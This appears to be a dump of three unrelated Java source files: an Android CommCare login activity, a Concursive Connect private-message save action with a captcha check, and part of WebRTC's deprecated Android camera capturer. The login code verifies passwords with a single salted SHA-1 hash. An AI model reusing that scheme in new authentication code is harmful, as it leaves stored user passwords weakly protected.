if (currentApp == null || !currentApp.getAppRecord().isUsable()) {
Intent i = new Intent(this, CommCareHomeActivity.class);
startActivity(i);
return;
}
// Otherwise, refresh the login screen for current conditions
refreshView();
}
private String getUsername() {
return username.getText().toString().toLowerCase().trim();
}
private boolean tryLocalLogin(final boolean warnMultipleAccounts) {
//TODO: check username/password for emptiness
return tryLocalLogin(getUsername(), password.getText().toString(), warnMultipleAccounts);
}
private boolean tryLocalLogin(final String username, String password,
final boolean warnMultipleAccounts) {
try{
// TODO: We don't actually even use this anymore other than for hte
// local login count, which seems super silly.
UserKeyRecord matchingRecord = null;
int count = 0;
for(UserKeyRecord record : storage()) {
if(!record.getUsername().equals(username)) {
continue;
}
count++;
String hash = record.getPasswordHash();
if(hash.contains("$")) {
String alg = "sha1";
String salt = hash.split("\\$")[1];
String check = hash.split("\\$")[2];
MessageDigest md = MessageDigest.getInstance("SHA-1");
BigInteger number = new BigInteger(1, md.digest((salt+password).getBytes()));
String hashed = number.toString(16);
while (hashed.length() < check.length()) {
hashed = "0" + hashed;
}
if (hash.equals(alg + "$" + salt + "$" + hashed)) {
matchingRecord = record;
}
}
}
final boolean triggerTooManyUsers = count > 1 && warnMultipleAccounts;
ManageKeyRecordTask<LoginActivity> task =
new ManageKeyRecordTask<LoginActivity>(this, TASK_KEY_EXCHANGE,
username, password,
CommCareApplication._().getCurrentApp(),
new ManageKeyRecordListener<LoginActivity>() {
@Override
public void keysLoginComplete(LoginActivity r) {
if(triggerTooManyUsers) {
// We've successfully pulled down new user data.
// Should see if the user already has a sandbox and let
// them know that their old data doesn't transition
r.raiseMessage(NotificationMessageFactory.message(StockMessages.Auth_RemoteCredentialsChanged), true);
Logger.log(AndroidLogger.TYPE_USER, "User " + username + " has logged in for the first time with a new password. They may have unsent data in their other sandbox");
}
r.done();
}
@Override
public void keysReadyForSync(LoginActivity r) {
// TODO: we only wanna do this on the _first_ try. Not
// subsequent ones (IE: On return from startOta)
r.startOta();
}
@Override
public void keysDoneOther(LoginActivity r, HttpCalloutOutcomes outcome) {
switch(outcome) {
case AuthFailed:
Logger.log(AndroidLogger.TYPE_USER, "auth failed");
r.raiseLoginMessage(StockMessages.Auth_BadCredentials, false);
break;
case BadResponse:
Logger.log(AndroidLogger.TYPE_USER, "bad response");
r.raiseLoginMessage(StockMessages.Remote_BadRestore, true);
break;
case NetworkFailure:
Logger.log(AndroidLogger.TYPE_USER, "bad network");
r.raiseLoginMessage(StockMessages.Remote_NoNetwork, false);
break;
case NetworkFailureBadPassword:
Logger.log(AndroidLogger.TYPE_USER, "bad network");
r.raiseLoginMessage(StockMessages.Remote_NoNetwork_BadPass, true);
break;
case BadCertificate:
Logger.log(AndroidLogger.TYPE_USER, "bad certificate");
r.raiseLoginMessage(StockMessages.BadSSLCertificate, false);
break;
case UnknownError:
Logger.log(AndroidLogger.TYPE_USER, "unknown");
r.raiseLoginMessage(StockMessages.Restore_Unknown, true);
break;
default:
return;
}
}
}) {
@Override
protected void deliverUpdate(LoginActivity receiver, String... update) {
receiver.updateProgress(update[0], TASK_KEY_EXCHANGE);
}
};
task.connect(this);
task.execute();
return true;
}catch (Exception e) {
e.printStackTrace();
return false;
}
}
private void done() {
ACRAUtil.registerUserData();
CommCareApplication._().clearNotifications(NOTIFICATION_MESSAGE_LOGIN);
Intent i = new Intent();
setResult(RESULT_OK, i);
finish();
}
private SqlStorage<UserKeyRecord> storage() {
if(storage == null) {
storage = CommCareApplication._().getAppStorage(UserKeyRecord.class);
}
return storage;
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
super.onCreateOptionsMenu(menu);
menu.add(0, MENU_DEMO, 0, Localization.get("login.menu.demo")).setIcon(android.R.drawable.ic_menu_preferences);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
boolean otherResult = super.onOptionsItemSelected(item);
switch(item.getItemId()) {
case MENU_DEMO:
//Make sure we have a demo user
DemoUserUtil.checkOrCreateDemoUser(this, CommCareApplication._().getCurrentApp());
//Now try to log in as the demo user
tryLocalLogin(DemoUserUtil.DEMO_USER, DemoUserUtil.DEMO_USER, false);
return true;
default:
return otherResult;
}
}
private void raiseLoginMessage(MessageTag messageTag, boolean showTop) {
NotificationMessage message = NotificationMessageFactory.message(messageTag,
NOTIFICATION_MESSAGE_LOGIN);
raiseMessage(message, showTop);
}
private void raiseMessage(NotificationMessage message, boolean showTop) {
String toastText = message.getTitle();
if (showTop) {
CommCareApplication._().reportNotificationMessage(message);
toastText = Localization.get("notification.for.details.wrapper",
new String[] {toastText});
}
setLoginBoxesColorError();
username.setCompoundDrawablesWithIntrinsicBounds(getResources().getDrawable(R.drawable.icon_user_attnneg), null, null, null);
password.setCompoundDrawablesWithIntrinsicBounds(getResources().getDrawable(R.drawable.icon_lock_attnneg), null, null, null);
loginButton.setBackgroundColor(getResources().getColor(R.color.cc_attention_negative_bg));
loginButton.setTextColor(getResources().getColor(R.color.cc_attention_negative_text));
errorBox.setVisibility(View.VISIBLE);
errorBox.setText(toastText);
Toast.makeText(this, toastText, Toast.LENGTH_LONG).show();
}
private void setLoginBoxesColorNormal() {
int normalColor = getResources().getColor(R.color.login_edit_text_color);
username.setTextColor(normalColor);
password.setTextColor(normalColor);
}
private void setLoginBoxesColorError() {
int errorColor = getResources().getColor(R.color.login_edit_text_color_error);
username.setTextColor(errorColor);
password.setTextColor(errorColor);
}
/**
* Implementation of generateProgressDialog() for DialogController -- other methods
* handled entirely in CommCareActivity
*/
@Override
public CustomProgressDialog generateProgressDialog(int taskId) {
CustomProgressDialog dialog;
switch (taskId) {
case TASK_KEY_EXCHANGE:
dialog = CustomProgressDialog.newInstance(Localization.get("key.manage.title"),
Localization.get("key.manage.start"), taskId);
break;
case DataPullTask.DATA_PULL_TASK_ID:
dialog = CustomProgressDialog.newInstance(Localization.get("sync.progress.title"),
Localization.get("sync.progress.starting"), taskId);
dialog.addCancelButton();
dialog.addProgressBar();
break;
default:
Log.w(TAG, "taskId passed to generateProgressDialog does not match "
+ "any valid possibilities in LoginActivity");
return null;
}
return dialog;
}
private void refreshView() {
// In case the seated app has changed since last time we were in LoginActivity
refreshForNewApp();
updateCommCareBanner();
// Decide whether or not to show the app selection spinner based upon # of usable apps
ArrayList<ApplicationRecord> readyApps = CommCareApplication._().getUsableAppRecords();
if (readyApps.size() == 1) {
spinner.setVisibility(View.GONE);
welcomeMessage.setText(Localization.get("login.welcome.single"));
// Set this app as the last selected app, for use in choosing what app to initialize
// on first startup
ApplicationRecord r = readyApps.get(0);
SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this);
prefs.edit().putString(KEY_LAST_APP, r.getUniqueId()).commit();
}
else {
welcomeMessage.setText(Localization.get("login.welcome.multiple"));
ArrayList<String> appNames = new ArrayList<>();
appIdDropdownList.clear();
for (ApplicationRecord r : readyApps) {
appNames.add(r.getDisplayName());
appIdDropdownList.add(r.getUniqueId());
}
ArrayAdapter<String> adapter = new ArrayAdapter<>(this, R.layout.spinner_text_view, appNames);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinner.setAdapter(adapter);
spinner.setOnItemSelectedListener(this);
// Set the spinner's selection to match whatever the currently seated app is
String currAppId = CommCareApplication._().getCurrentApp().getUniqueId();
int position = appIdDropdownList.indexOf(currAppId);
spinner.setSelection(position);
spinner.setVisibility(View.VISIBLE);
}
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
switch(requestCode) {
case SEAT_APP_ACTIVITY:
if (resultCode == RESULT_OK) {
refreshForNewApp();
}
}
}
private void refreshForNewApp() {
// Remove any error content from trying to log into a different app
setStyleDefault();
// Refresh the breadcrumb bar for new app name
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) {
refreshActionBar();
}
// Refresh UI for potential new language
loadFields(false);
// Refresh welcome msg separately bc cannot set a single locale for its UiElement
welcomeMessage.setText(Localization.get("login.welcome.multiple"));
}
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
// Retrieve the app record corresponding to the app selected
String appId = appIdDropdownList.get(position);
boolean appChanged = !appId.equals(CommCareApplication._().getCurrentApp().getUniqueId());
if (appChanged) {
// Set the id of the last selected app
SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this);
prefs.edit().putString(KEY_LAST_APP, appId).commit();
// Launch the activity to seat the new app
Intent i = new Intent(this, SeatAppActivity.class);
i.putExtra(KEY_APP_TO_SEAT, appId);
this.startActivityForResult(i, SEAT_APP_ACTIVITY);
}
}
@Override
public void onNothingSelected(AdapterView<?> parent) {
return;
}
}
|
package com.concursive.connect.web.modules.messages.portlets.composePrivateMessage;
import com.concursive.commons.text.StringUtils;
import com.concursive.commons.web.mvc.beans.GenericBean;
import com.concursive.connect.Constants;
import com.concursive.connect.web.modules.blog.dao.BlogPost;
import com.concursive.connect.web.modules.login.dao.User;
import com.concursive.connect.web.modules.login.utils.UserUtils;
import com.concursive.connect.web.modules.members.dao.TeamMemberList;
import com.concursive.connect.web.modules.messages.dao.PrivateMessage;
import com.concursive.connect.web.modules.profile.dao.Project;
import com.concursive.connect.web.portal.IPortletAction;
import com.concursive.connect.web.portal.PortalUtils;
import static com.concursive.connect.web.portal.PortalUtils.*;
import javax.portlet.ActionRequest;
import javax.portlet.ActionResponse;
import javax.portlet.PortletException;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Timestamp;
import javax.portlet.PortletSession;
import nl.captcha.Captcha;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
/**
* Action for saving a user's review
*
* @author Kailash Bhoopalam
* @created December 22, 2008
*/
public class SavePrivateMessageAction implements IPortletAction {
private static Log LOG = LogFactory.getLog(SavePrivateMessageAction.class);
public GenericBean processAction(ActionRequest request, ActionResponse response) throws Exception {
// Determine the project container to use
Project project = findProject(request);
if (project == null) {
throw new Exception("Project is null");
}
User user = getUser(request);
if (!user.isLoggedIn()) {
throw new PortletException("User needs to be logged in");
}
// Determine the database connection to use
Connection db = getConnection(request);
// Track replies to previous messages
PrivateMessage inboxPrivateMessage = null;
// Populate all values from the request
PrivateMessage privateMessage = (PrivateMessage) PortalUtils.getFormBean(request, PrivateMessage.class);
if (privateMessage.getLinkModuleId() != Constants.PROJECT_MESSAGES_FILES) {
privateMessage.setProjectId(project.getId());
int linkProjectId = getLinkProjectId(db, privateMessage.getLinkItemId(), privateMessage.getLinkModuleId());
if (linkProjectId == -1) {
linkProjectId = project.getId();
}
privateMessage.setLinkProjectId(linkProjectId);
} else {
//reply to a message from the inbox, so the project id needs to be the profile of user who sent the message
inboxPrivateMessage = new PrivateMessage(db, privateMessage.getLinkItemId());
int profileProjectIdOfEnteredByUser = UserUtils.loadUser(inboxPrivateMessage.getEnteredBy()).getProfileProjectId();
privateMessage.setProjectId(profileProjectIdOfEnteredByUser);
privateMessage.setParentId(inboxPrivateMessage.getId());
//update the last reply date of the message
inboxPrivateMessage.setLastReplyDate(new Timestamp(System.currentTimeMillis()));
}
privateMessage.setEnteredBy(user.getId());
// Validate the form
if (!StringUtils.hasText(privateMessage.getBody())) {
privateMessage.getErrors().put("bodyError", "Message body is required");
return privateMessage;
}
// Check for captcha if this is a direct message (not a reply)
if (privateMessage.getLinkModuleId() != Constants.PROJECT_MESSAGES_FILES &&
privateMessage.getProjectId() > -1) {
if (privateMessage.getProject().getProfile() && !TeamMemberList.isOnTeam(db, privateMessage.getProjectId(), user.getId())) {
LOG.debug("Verifying the captcha...");
String captcha = request.getParameter("captcha");
PortletSession session = request.getPortletSession();
Captcha captchaValue = (Captcha) session.getAttribute(Captcha.NAME);
session.removeAttribute(Captcha.NAME);
if (captchaValue == null || captcha == null ||
!captchaValue.isCorrect(captcha)) {
privateMessage.getErrors().put("captchaError", "Text did not match image");
return privateMessage;
}
}
} else {
LOG.debug("Captcha not required");
}
// Insert the private message
boolean inserted = privateMessage.insert(db);
if (inserted) {
// Update the message replied to
if (inboxPrivateMessage != null && inboxPrivateMessage.getId() != -1) {
inboxPrivateMessage.update(db);
}
// Send email notice
PortalUtils.processInsertHook(request, privateMessage);
}
// Close the panel, everything went well
String ctx = request.getContextPath();
response.sendRedirect(ctx + "/close_panel_refresh.jsp");
return null;
}
/**
* Gets the project Id for the related item.
* E.g, A message sent to a profile of a user can refer to the blog the user has written in a business, organization or any other profile
*
* @param linkItemId
* @param linkModuleId
* @return
*/
private int getLinkProjectId(Connection db, int linkItemId, int linkModuleId) throws SQLException {
int linkProjectId = -1;
if (linkModuleId == Constants.PROJECT_BLOG_FILES) {
BlogPost blogPost = new BlogPost(db, linkItemId);
linkProjectId = blogPost.getProjectId();
}
return linkProjectId;
}
}
|
package org.webrtc;
import android.content.Context;
import android.os.Handler;
import android.os.SystemClock;
import android.view.Surface;
import android.view.WindowManager;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
import org.webrtc.CameraEnumerationAndroid.CaptureFormat;
// Android specific implementation of VideoCapturer.
// VideoCapturerAndroid.create();
// This class extends VideoCapturer with a method to easily switch between the
// front and back camera. It also provides methods for enumerating valid device
// names.
// Threading notes: this class is called from C++ code, Android Camera callbacks, and possibly
// arbitrary Java threads. All public entry points are thread safe, and delegate the work to the
// camera thread. The internal *OnCameraThread() methods must check |camera| for null to check if
// the camera has been stopped.
// This class is deprecated and will only be used if you manually create it. Please use
// Camera1Capturer instead.
@Deprecated
@SuppressWarnings("deprecation")
public class VideoCapturerAndroid
implements CameraVideoCapturer, android.hardware.Camera.PreviewCallback,
SurfaceTextureHelper.OnTextureFrameAvailableListener {
private static final String TAG = "VideoCapturerAndroid";
private static final int CAMERA_STOP_TIMEOUT_MS = 7000;
private static final Histogram videoCapturerAndroidStartTimeMsHistogram =
Histogram.createCounts("WebRTC.Android.VideoCapturerAndroid.StartTimeMs", 1, 10000, 50);
private static final Histogram videoCapturerAndroidStopTimeMsHistogram =
Histogram.createCounts("WebRTC.Android.VideoCapturerAndroid.StopTimeMs", 1, 10000, 50);
private static final Histogram videoCapturerAndroidResolutionHistogram =
Histogram.createEnumeration("WebRTC.Android.VideoCapturerAndroid.Resolution",
CameraEnumerationAndroid.COMMON_RESOLUTIONS.size());
private android.hardware.Camera camera; // Only non-null while capturing.
private final AtomicBoolean isCameraRunning = new AtomicBoolean();
// Use maybePostOnCameraThread() instead of posting directly to the handler - this way all
// callbacks with a specifed token can be removed at once.
private volatile Handler cameraThreadHandler;
private Context applicationContext;
// Synchronization lock for |id|.
private final Object cameraIdLock = new Object();
private int id;
private android.hardware.Camera.CameraInfo info;
private CameraStatistics cameraStatistics;
// Remember the requested format in case we want to switch cameras.
private int requestedWidth;
private int requestedHeight;
private int requestedFramerate;
// The capture format will be the closest supported format to the requested format.
private CaptureFormat captureFormat;
private final Object pendingCameraSwitchLock = new Object();
private volatile boolean pendingCameraSwitch;
private CapturerObserver frameObserver = null;
private final CameraEventsHandler eventsHandler;
private boolean firstFrameReported;
// Arbitrary queue depth. Higher number means more memory allocated & held,
// lower number means more sensitivity to processing time in the client (and
// potentially stalling the capturer if it runs out of buffers to write to).
private static final int NUMBER_OF_CAPTURE_BUFFERS = 3;
private final Set<byte[]> queuedBuffers = new HashSet<byte[]>();
private final boolean isCapturingToTexture;
private SurfaceTextureHelper surfaceHelper;
private final static int MAX_OPEN_CAMERA_ATTEMPTS = 3;
private final static int OPEN_CAMERA_DELAY_MS = 500;
private int openCameraAttempts;
// Used for statistics.
private long startStartTimeNs; // The time in nanoseconds when starting the camera began.
// Camera error callback.
private final android.hardware.Camera.ErrorCallback cameraErrorCallback =
new android.hardware.Camera.ErrorCallback() {
@Override
public void onError(int error, android.hardware.Camera camera) {
String errorMessage;
boolean cameraRunning = isCameraRunning.get();
if (error == android.hardware.Camera.CAMERA_ERROR_SERVER_DIED) {
errorMessage = "Camera server died!";
} else {
errorMessage = "Camera error: " + error;
}
Logging.e(TAG, errorMessage + ". Camera running: " + cameraRunning);
if (eventsHandler != null) {
if (error == android.hardware.Camera.CAMERA_ERROR_EVICTED) {
if (cameraRunning) {
eventsHandler.onCameraDisconnected();
} else {
Logging.d(TAG, "Ignore CAMERA_ERROR_EVICTED for closed camera.");
}
} else {
eventsHandler.onCameraError(errorMessage);
}
}
}
};
public static VideoCapturerAndroid create(String name, CameraEventsHandler eventsHandler) {
return VideoCapturerAndroid.create(name, eventsHandler, false /* captureToTexture */);
}
// Use ctor directly instead.
@Deprecated
public static VideoCapturerAndroid create(
String name, CameraEventsHandler eventsHandler, boolean captureToTexture) {
try {
return new VideoCapturerAndroid(name, eventsHandler, captureToTexture);
} catch (RuntimeException e) {
Logging.e(TAG, "Couldn't create camera.", e);
return null;
}
}
public void printStackTrace() {
Thread cameraThread = null;
if (cameraThreadHandler != null) {
cameraThread = cameraThreadHandler.getLooper().getThread();
}
if (cameraThread != null) {
StackTraceElement[] cameraStackTraces = cameraThread.getStackTrace();
if (cameraStackTraces.length > 0) {
Logging.d(TAG, "VideoCapturerAndroid stacks trace:");
for (StackTraceElement stackTrace : cameraStackTraces) {
Logging.d(TAG, stackTrace.toString());
}
}
}
}
// Switch camera to the next valid camera id. This can only be called while
// the camera is running.
@Override
public void switchCamera(final CameraSwitchHandler switchEventsHandler) {
if (android.hardware.Camera.getNumberOfCameras() < 2) {
if (switchEventsHandler != null) {
switchEventsHandler.onCameraSwitchError("No camera to switch to.");
}
return;
}
synchronized (pendingCameraSwitchLock) {
if (pendingCameraSwitch) {
// Do not handle multiple camera switch request to avoid blocking
// camera thread by handling too many switch request from a queue.
Logging.w(TAG, "Ignoring camera switch request.");
if (switchEventsHandler != null) {
switchEventsHandler.onCameraSwitchError("Pending camera switch already in progress.");
}
return;
}
pendingCameraSwitch = true;
}
final boolean didPost = maybePostOnCameraThread(new Runnable() {
@Override
public void run() {
switchCameraOnCameraThread();
synchronized (pendingCameraSwitchLock) {
pendingCameraSwitch = false;
}
if (switchEventsHandler != null) {
switchEventsHandler.onCameraSwitchDone(
info.facing == android.hardware.Camera.CameraInfo.CAMERA_FACING_FRONT);
}
}
});
if (!didPost && switchEventsHandler != null) {
switchEventsHandler.onCameraSwitchError("Camera is stopped.");
}
}
// Reconfigure the camera to capture in a new format. This should only be called while the camera
// is running.
@Override
public void changeCaptureFormat(final int width, final int height, final int framerate) {
maybePostOnCameraThread(new Runnable() {
@Override
public void run() {
startPreviewOnCameraThread(width, height, framerate);
}
});
}
// Helper function to retrieve the current camera id synchronously. Note that the camera id might
// change at any point by switchCamera() calls.
private int getCurrentCameraId() {
synchronized (cameraIdLock) {
return id;
}
}
// Returns true if this VideoCapturer is setup to capture video frames to a SurfaceTexture.
public boolean isCapturingToTexture() {
return isCapturingToTexture;
}
public VideoCapturerAndroid(
String cameraName, CameraEventsHandler eventsHandler, boolean captureToTexture) {
if (android.hardware.Camera.getNumberOfCameras() == 0) {
throw new RuntimeException("No cameras available");
}
if (cameraName == null || cameraName.equals("")) {
this.id = 0;
} else {
this.id = Camera1Enumerator.getCameraIndex(cameraName);
}
this.eventsHandler = eventsHandler;
isCapturingToTexture = captureToTexture;
Logging.d(TAG, "VideoCapturerAndroid isCapturingToTexture : " + isCapturingToTexture);
}
private void checkIsOnCameraThread() {
if (cameraThreadHandler == null) {
Logging.e(TAG, "Camera is not initialized - can't check thread.");
} else if (Thread.currentThread() != cameraThreadHandler.getLooper().getThread()) {
throw new IllegalStateException("Wrong thread");
}
}
private boolean maybePostOnCameraThread(Runnable runnable) {
return maybePostDelayedOnCameraThread(0 /* delayMs */, runnable);
}
private boolean maybePostDelayedOnCameraThread(int delayMs, Runnable runnable) {
return cameraThreadHandler != null && isCameraRunning.get()
&& cameraThreadHandler.postAtTime(
runnable, this /* token */, SystemClock.uptimeMillis() + delayMs);
}
@Override
public void dispose() {
Logging.d(TAG, "dispose");
}
private boolean isInitialized() {
return applicationContext != null && frameObserver != null;
}
@Override
public void initialize(SurfaceTextureHelper surfaceTextureHelper, Context applicationContext,
CapturerObserver frameObserver) {
Logging.d(TAG, "initialize");
if (applicationContext == null) {
throw new IllegalArgumentException("applicationContext not set.");
}
if (frameObserver == null) {
throw new IllegalArgumentException("frameObserver not set.");
}
if (isInitialized()) {
throw new IllegalStateException("Already initialized");
}
this.applicationContext = applicationContext;
this.frameObserver = frameObserver;
this.surfaceHelper = surfaceTextureHelper;
this.cameraThreadHandler =
surfaceTextureHelper == null ? null : surfaceTextureHelper.getHandler();
}
// Note that this actually opens the camera, and Camera callbacks run on the
// thread that calls open(), so this is done on the CameraThread.
@Override
public void startCapture(final int width, final int height, final int framerate) {
Logging.d(TAG, "startCapture requested: " + width + "x" + height + "@" + framerate);
if (!isInitialized()) {
throw new IllegalStateException("startCapture called in uninitialized state");
}
if (surfaceHelper == null) {
frameObserver.onCapturerStarted(false /* success */);
if (eventsHandler != null) {
eventsHandler.onCameraError("No SurfaceTexture created.");
}
return;
}
if (isCameraRunning.getAndSet(true)) {
Logging.e(TAG, "Camera has already been started.");
return;
}
final boolean didPost = maybePostOnCameraThread(new Runnable() {
@Override
public void run() {
openCameraAttempts = 0;
startCaptureOnCameraThread(width, height, framerate);
}
});
if (!didPost) {
frameObserver.onCapturerStarted(false);
if (eventsHandler != null) {
eventsHandler.onCameraError("Could not post task to camera thread.");
}
isCameraRunning.set(false);
}
}
private void startCaptureOnCameraThread(final int width, final int height, final int framerate) {
checkIsOnCameraThread();
startStartTimeNs = System.nanoTime();
if (!isCameraRunning.get()) {
Logging.e(TAG, "startCaptureOnCameraThread: Camera is stopped");
return;
}
if (camera != null) {
Logging.e(TAG, "startCaptureOnCameraThread: Camera has already been started.");
return;
}
this.firstFrameReported = false;
try {
try {
synchronized (cameraIdLock) {
Logging.d(TAG, "Opening camera " + id);
if (eventsHandler != null) {
eventsHandler.onCameraOpening(Camera1Enumerator.getDeviceName(id));
}
camera = android.hardware.Camera.open(id);
info = new android.hardware.Camera.CameraInfo();
android.hardware.Camera.getCameraInfo(id, info);
}
} catch (RuntimeException e) {
openCameraAttempts++;
if (openCameraAttempts < MAX_OPEN_CAMERA_ATTEMPTS) {
Logging.e(TAG, "Camera.open failed, retrying", e);
maybePostDelayedOnCameraThread(OPEN_CAMERA_DELAY_MS, new Runnable() {
@Override
public void run() {
startCaptureOnCameraThread(width, height, framerate);
}
});
return;
}
throw e;
}
camera.setPreviewTexture(surfaceHelper.getSurfaceTexture());
Logging.d(TAG, "Camera orientation: " + info.orientation + " .Device orientation: "
+ getDeviceOrientation());
camera.setErrorCallback(cameraErrorCallback);
startPreviewOnCameraThread(width, height, framerate);
frameObserver.onCapturerStarted(true);
if (isCapturingToTexture) {
surfaceHelper.startListening(this);
}
// Start camera observer.
cameraStatistics = new CameraStatistics(surfaceHelper, eventsHandler);
} catch (IOException | RuntimeException e) {
Logging.e(TAG, "startCapture failed", e);
// Make sure the camera is released.
stopCaptureOnCameraThread(true /* stopHandler */);
frameObserver.onCapturerStarted(false);
if (eventsHandler != null) {
eventsHandler.onCameraError("Camera can not be started.");
}
}
}
// (Re)start preview with the closest supported format to |width| x |height| @ |framerate|.
private void startPreviewOnCameraThread(int width, int height, int framerate) {
checkIsOnCameraThread();
if (!isCameraRunning.get() || camera == null) {
Logging.e(TAG, "startPreviewOnCameraThread: Camera is stopped");
return;
}
Logging.d(
TAG, "startPreviewOnCameraThread requested: " + width + "x" + height + "@" + framerate);
requestedWidth = width;
requestedHeight = height;
requestedFramerate = framerate;
// Find closest supported format for |width| x |height| @ |framerate|.
final android.hardware.Camera.Parameters parameters = camera.getParameters();
final List<CaptureFormat.FramerateRange> supportedFramerates =
Camera1Enumerator.convertFramerates(parameters.getSupportedPreviewFpsRange());
Logging.d(TAG, "Available fps ranges: " + supportedFramerates);
final CaptureFormat.FramerateRange fpsRange =
CameraEnumerationAndroid.getClosestSupportedFramerateRange(supportedFramerates, framerate);
final List<Size> supportedPreviewSizes =
Camera1Enumerator.convertSizes(parameters.getSupportedPreviewSizes());
final Size previewSize =
CameraEnumerationAndroid.getClosestSupportedSize(supportedPreviewSizes, width, height);
CameraEnumerationAndroid.reportCameraResolution(
videoCapturerAndroidResolutionHistogram, previewSize);
Logging.d(TAG, "Available preview sizes: " + supportedPreviewSizes);
final CaptureFormat captureFormat =
new CaptureFormat(previewSize.width, previewSize.height, fpsRange);
// Check if we are already using this capture format, then we don't need to do anything.
if (captureFormat.equals(this.captureFormat)) {
return;
}
// Update camera parameters.
Logging.d(TAG, "isVideoStabilizationSupported: " + parameters.isVideoStabilizationSupported());
if (parameters.isVideoStabilizationSupported()) {
parameters.setVideoStabilization(true);
}
// Note: setRecordingHint(true) actually decrease frame rate on N5.
// parameters.setRecordingHint(true);
if (captureFormat.framerate.max > 0) {
parameters.setPreviewFpsRange(captureFormat.framerate.min, captureFormat.framerate.max);
}
parameters.setPreviewSize(previewSize.width, previewSize.height);
if (!isCapturingToTexture) {
parameters.setPreviewFormat(captureFormat.imageFormat);
}
// Picture size is for taking pictures and not for preview/video, but we need to set it anyway
// as a workaround for an aspect ratio problem on Nexus 7.
final Size pictureSize = CameraEnumerationAndroid.getClosestSupportedSize(
Camera1Enumerator.convertSizes(parameters.getSupportedPictureSizes()), width, height);
parameters.setPictureSize(pictureSize.width, pictureSize.height);
// Temporarily stop preview if it's already running.
if (this.captureFormat != null) {
camera.stopPreview();
// Calling |setPreviewCallbackWithBuffer| with null should clear the internal camera buffer
// queue, but sometimes we receive a frame with the old resolution after this call anyway.
camera.setPreviewCallbackWithBuffer(null);
}
List<String> focusModes = parameters.getSupportedFocusModes();
if (focusModes.contains(android.hardware.Camera.Parameters.FOCUS_MODE_CONTINUOUS_VIDEO)) {
Logging.d(TAG, "Enable continuous auto focus mode.");
parameters.setFocusMode(android.hardware.Camera.Parameters.FOCUS_MODE_CONTINUOUS_VIDEO);
}
// (Re)start preview.
Logging.d(TAG, "Start capturing: " + captureFormat);
this.captureFormat = captureFormat;
camera.setParameters(parameters);
// Calculate orientation manually and send it as CVO instead.
camera.setDisplayOrientation(0 /* degrees */);
if (!isCapturingToTexture) {
queuedBuffers.clear();
final int frameSize = captureFormat.frameSize();
for (int i = 0; i < NUMBER_OF_CAPTURE_BUFFERS; ++i) {
final ByteBuffer buffer = ByteBuffer.allocateDirect(frameSize);
queuedBuffers.add(buffer.array());
camera.addCallbackBuffer(buffer.array());
}
camera.setPreviewCallbackWithBuffer(this);
}
camera.startPreview();
}
// Blocks until camera is known to be stopped.
@Override
public void stopCapture() throws InterruptedException {
Logging.d(TAG, "stopCapture");
final CountDownLatch barrier = new CountDownLatch(1);
final boolean didPost = maybePostOnCameraThread(new Runnable() {
@Override
public void run() {
stopCaptureOnCameraThread(true /* stopHandler */);
barrier.countDown();
}
});
if (!didPost) {
Logging.e(TAG, "Calling stopCapture() for already stopped camera.");
return;
}
if (!barrier.await(CAMERA_STOP_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
Logging.e(TAG, "Camera stop timeout");
printStackTrace();
if (eventsHandler != null) {
eventsHandler.onCameraError("Camera stop timeout");
}
}
frameObserver.onCapturerStopped();
Logging.d(TAG, "stopCapture done");
}
private void stopCaptureOnCameraThread(boolean stopHandler) {
checkIsOnCameraThread();
Logging.d(TAG, "stopCaptureOnCameraThread");
final long stopStartTime = System.nanoTime();
// Note that the camera might still not be started here if startCaptureOnCameraThread failed
// and we posted a retry.
// Make sure onTextureFrameAvailable() is not called anymore.
if (surfaceHelper != null) {
surfaceHelper.stopListening();
}
if (stopHandler) {
// Clear the cameraThreadHandler first, in case stopPreview or
// other driver code deadlocks. Deadlock in
// android.hardware.Camera._stopPreview(Native Method) has
// been observed on Nexus 5 (hammerhead), OS version LMY48I.
// The camera might post another one or two preview frames
// before stopped, so we have to check |isCameraRunning|.
// Remove all pending Runnables posted from |this|.
isCameraRunning.set(false);
cameraThreadHandler.removeCallbacksAndMessages(this /* token */);
}
if (cameraStatistics != null) {
cameraStatistics.release();
cameraStatistics = null;
}
Logging.d(TAG, "Stop preview.");
if (camera != null) {
camera.stopPreview();
camera.setPreviewCallbackWithBuffer(null);
}
queuedBuffers.clear();
captureFormat = null;
Logging.d(TAG, "Release camera.");
if (camera != null) {
camera.release();
camera = null;
}
if (eventsHandler != null) {
eventsHandler.onCameraClosed();
}
final int stopTimeMs = (int) TimeUnit.NANOSECONDS.toMillis(System.nanoTime() - stopStartTime);
videoCapturerAndroidStopTimeMsHistogram.addSample(stopTimeMs);
Logging.d(TAG, "stopCaptureOnCameraThread done");
}
private void switchCameraOnCameraThread() {
checkIsOnCameraThread();
if (!isCameraRunning.get()) {
Logging.e(TAG, "switchCameraOnCameraThread: Camera is stopped");
return;
}
Logging.d(TAG, "switchCameraOnCameraThread");
stopCaptureOnCameraThread(false /* stopHandler */);
synchronized (cameraIdLock) {
id = (id + 1) % android.hardware.Camera.getNumberOfCameras();
}
startCaptureOnCameraThread(requestedWidth, requestedHeight, requestedFramerate);
Logging.d(TAG, "switchCameraOnCameraThread done");
}
private int getDeviceOrientation() {
int orientation = 0;
WindowManager wm = (WindowManager) applicationContext.getSystemService(Context.WINDOW_SERVICE);
switch (wm.getDefaultDisplay().getRotation()) {
case Surface.ROTATION_90:
orientation = 90;
break;
case Surface.ROTATION_180:
orientation = 180;
break;
case Surface.ROTATION_270:
orientation = 270;
break;
case Surface.ROTATION_0:
default:
orientation = 0;
break;
}
return orientation;
}
private int getFrameOrientation() {
int rotation = getDeviceOrientation();
if (info.facing == android.hardware.Camera.CameraInfo.CAMERA_FACING_BACK) {
rotation = 360 - rotation;
}
return (info.orientation + rotation) % 360;
}
